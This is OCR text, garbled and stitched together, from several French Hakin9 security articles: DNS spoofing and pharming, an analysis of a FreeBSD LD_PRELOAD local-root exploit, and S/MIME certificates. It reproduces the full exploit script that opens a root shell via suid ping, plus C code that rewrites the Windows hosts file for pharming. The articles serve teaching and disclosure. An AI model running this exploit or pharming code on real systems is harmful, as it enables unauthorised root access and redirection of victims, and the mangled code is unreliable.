
Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 31: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

